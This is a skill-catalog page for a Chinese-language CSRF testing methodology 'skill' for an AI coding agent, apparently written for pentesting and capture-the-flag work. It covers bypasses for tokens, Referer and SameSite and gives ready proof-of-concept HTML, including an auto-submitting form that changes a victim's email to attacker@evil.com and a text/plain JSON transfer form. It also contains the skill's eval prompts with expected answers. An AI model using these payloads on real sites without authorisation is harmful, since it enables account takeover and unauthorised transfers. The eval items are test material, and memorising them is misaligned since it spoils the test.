
Csrf Methodology
- 17 installs
- 1.6k repo stars
- Updated July 19, 2026
- wgpsec/aboutsecurity
Helps with ai & agent building tasks during AI-assisted development.
About
csrf-methodology is a Claude Code skill for ai & agent building. It helps solo builders move faster with AI-assisted coding.
- csrf-methodology
- AI & Agent Building
- AI-coding skill
Csrf Methodology by the numbers
- 17 all-time installs (skills.sh)
- Ranked #10,886 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/wgpsec/aboutsecurity --skill csrf-methodologyAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 17 |
|---|---|
| repo stars | ★ 1.6k |
| Last updated | July 19, 2026 |
| Repository | wgpsec/aboutsecurity ↗ |
What it does
Helps with ai & agent building tasks during AI-assisted development.
Files
CSRF 跨站请求伪造方法论
CSRF 利用浏览器自动携带 Cookie 的特性,让受害者在不知情的情况下以自己的身份发送请求。
Phase 1: 识别 CSRF 风险
1.1 检查防护机制
对敏感操作的请求,检查是否有以下防护:
- CSRF Token:表单中的
<input type="hidden" name="csrf_token"> - SameSite Cookie:
Set-Cookie: session=xxx; SameSite=Strict/Lax - Referer/Origin 检查:服务端验证请求来源
- 自定义 Header:如
X-Requested-With: XMLHttpRequest
1.2 高价值目标操作
- 修改密码/邮箱(→ 账户接管)
- 转账/支付
- 添加管理员
- 绑定/解绑第三方账户
- 修改权限/角色
Phase 2: 绕过 CSRF 防护
2.1 Token 绕过
# 删除 token 参数 — 某些实现只在 token 存在时才验证
csrf_token= (空值)
# 使用其他用户的 token — 某些实现只检查 token 有效性,不绑定用户
# 用自己的账号获取一个 token,给受害者用
# Token 在 Cookie 中 — 可通过子域 XSS 设置 Cookie
Cookie: csrf=TOKEN
Body: csrf_token=TOKEN (两者匹配即可)2.2 Referer/Origin 绕过
# 不发送 Referer
<meta name="referrer" content="no-referrer">
# 包含目标域名的 URL
https://evil.com/csrf?target.com
https://target.com.evil.com
# 空 Referer(某些实现只在 Referer 存在时才检查)2.3 SameSite 绕过
SameSite=Lax:GET 请求仍可跨站(顶级导航)→ 如果操作接受 GET,可利用SameSite=None:无保护- 无 SameSite 属性:旧浏览器默认 None
- POST 被 SameSite 拦截时,改用 GET 可能不受限(方法不受限)
2.4 Token 验证缺陷
- 攻击者 token 替受害者使用:PoC 中硬编码自己的 token
- 服务端只检查 token 有效性,不检查归属(验证缺陷)
2.5 Method 绕过
- GET 方法绕过:某些修改操作也接受 GET(开发者错误)
window.location跳转即可触发 GET 请求- POST 被 CSRF 防护拦截时,GET 可能不受限
Phase 3: 构造 CSRF PoC
GET 请求
<img src="http://target/api/changePassword?new=hacked">POST 请求(表单自动提交)
<form action="http://target/api/changeEmail" method="POST" id="f">
<input type="hidden" name="email" value="attacker@evil.com">
</form>
<script>document.getElementById('f').submit();</script>JSON Body(需要 CORS 配合)
如果 API 要求 Content-Type: application/json,需要检查:
- 是否接受
Content-Type: text/plain(form 可发送) - 是否有 CORS 允许跨域 POST
<form action="http://target/api/transfer" method="POST" enctype="text/plain">
<input name='{"amount":1000,"to":"attacker","x":"' value='"}'>
</form>Phase 4: CTF 场景
CTF 中 CSRF 通常配合 XSS Bot: 1. 发现 CSRF 漏洞 → 构造恶意页面 2. 将链接提交给 "admin bot"(模拟管理员点击) 3. 管理员以其身份执行操作(修改密码/获取 flag)
{
"skill_name": "csrf-methodology",
"evals": [
{
"id": 1,
"name": "csrf-token-cross-user-reuse",
"prompt": "POST /api/change-email 有 CSRF Token 保护。你发现:用你自己账号获取的 token,放到另一个浏览器(未登录状态)也能通过验证。这说明什么?如何利用?",
"expected_output": "Token 只验证有效性不绑定用户/session → 攻击者可用自己的 token 替受害者发请求",
"expectations": [
"不绑定用户|不绑定session|跨用户复用",
"攻击者token|替受害者使用|PoC中硬编码",
"只检查有效性|不检查归属|验证缺陷",
"表单中|hidden input|写入攻击者token",
"自动提交|csrf poc|修改受害者邮箱"
],
"required_terms": [
"PoC中硬编码",
"攻击者token",
"csrf poc"
]
},
{
"id": 2,
"name": "csrf-json-body-via-form",
"prompt": "目标 API POST /api/change-password 要求 Content-Type: application/json,请求体 {\"new_password\":\"xxx\"}。没有 CSRF Token。如何构造跨站 CSRF 攻击?",
"expected_output": "用 form enctype=text/plain 发送类 JSON 数据,或检查是否接受 x-www-form-urlencoded",
"expectations": [
"enctype=text/plain|表单发送|类JSON格式",
"Content-Type|application/json|限制",
"form|自动提交|跨站请求",
"x-www-form-urlencoded|是否接受|降级测试",
"{\"new_password\":\"hacked\"|=|尾部等号技巧"
],
"required_terms": [
"enctype=text/plain",
"application/json",
"Content-Type"
]
},
{
"id": 3,
"name": "csrf-samesite-lax-get-bypass",
"prompt": "目标 Cookie 设置了 SameSite=Lax。修改密码功能是 POST /change-password。但你发现用 GET /change-password?new=hacked 也能成功修改(开发者没限制方法)。这如何绕过 SameSite=Lax?",
"expected_output": "SameSite=Lax 允许 GET 顶级导航携带 Cookie → GET 方法可绕过",
"expectations": [
"SameSite=Lax|GET请求|允许|顶级导航",
"GET方法|修改也接受GET|开发者错误",
"<a href>|顶级导航|自动携带Cookie",
"window.location|跳转|触发GET",
"POST被拦|GET绕过|方法不受限"
],
"required_terms": [
"SameSite=Lax",
"window.location",
"GET请求"
]
}
]
}
{
"skill_id": "csrf-methodology",
"recall_tests": [
{
"id": 1,
"type": "keyword_positive",
"description": "核心关键词",
"keywords": [
"csrf",
"cross-site request forgery",
"跨站请求伪造"
]
},
{
"id": 2,
"type": "keyword_positive",
"description": "防御绕过搜索",
"keywords": [
"token",
"referer",
"samesite"
]
},
{
"id": 3,
"type": "keyword_negative",
"description": "不应被CORS召回",
"keywords": [
"subdomain enumeration",
"port scan"
]
}
],
"llm_tests": [
{
"id": 1,
"name": "csrf-scenario",
"scenario": "目标修改密码功能没有 CSRF token 保护。请搜索 CSRF 攻击方法论。",
"max_rounds": 2,
"expect_tool_calls": [
{
"tool": "list_skills",
"keyword_contains": "csrf|跨站请求伪造|cross-site"
},
{
"tool": "read_skill",
"id": "csrf-methodology"
}
]
}
]
}
Related skills
AI & Agent Buildingagents